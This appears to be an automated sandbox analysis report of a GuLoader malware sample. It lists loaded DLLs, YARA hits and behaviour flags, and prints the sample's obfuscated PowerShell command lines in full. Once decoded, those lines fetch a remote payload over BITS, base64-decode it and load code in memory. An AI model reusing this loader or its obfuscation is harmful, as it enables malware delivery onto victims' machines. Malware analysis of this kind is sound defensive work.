Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2544913073.0000000007047000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: wab.exe, 00000007.00000003.2574386821.00000000255F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: indows\System.Core.pdb source: powershell.exe, 00000005.00000002.2550855628.0000000007F27000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: wab.exe, 00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: wab.exe, 00000007.00000003.2572739867.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: wab.exe, 00000007.00000003.2573715561.0000000025670000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000007.00000003.2573394658.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: wab.exe, 00000007.00000003.2572739867.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.2536849712.000000000081E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: wab.exe, 00000007.00000003.2573715561.0000000025670000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000007.00000003.2573394658.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: wab.exe, 00000007.00000003.2574386821.00000000255F0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: wab.exe, 00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp, wab.exe, 00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.2536849712.000000000081E000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("powershell "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){$bekraefte+=$Udr", "0")

Yara detected GuLoader

Source: Yara match	File source: 00000005.00000002.2552866056.000000000A363000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2576092102.00000000055F3000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2552391162.0000000008590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2541535117.0000000005841000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2827287313.000002316EE70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Gazenpartn17)$global:bekraefte2 = [System.Text.Encoding]::ASCII.GetString($Opdatering)$global:bekraefte3=$bekraefte2.substring(272260,23729)<#Amfor Overa Antaean Inconsta rationalis
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((Orihyper22301 $Chassazers $Knusen4), (Orihyper22300 @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Orihyper22308 = ([AppDomain]::CurrentDomain.GetAssembli
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Anthotropi8)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Anthotropi9, $false).DefineType($Knusen0, $Kn
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($Gazenpartn17)$global:bekraefte2 = [System.Text.Encoding]::ASCII.GetString($Opdatering)$global:bekraefte3=$bekraefte2.substring(272260,23729)<#Amfor Overa Antaean Inconsta rationalis

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-Br	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende 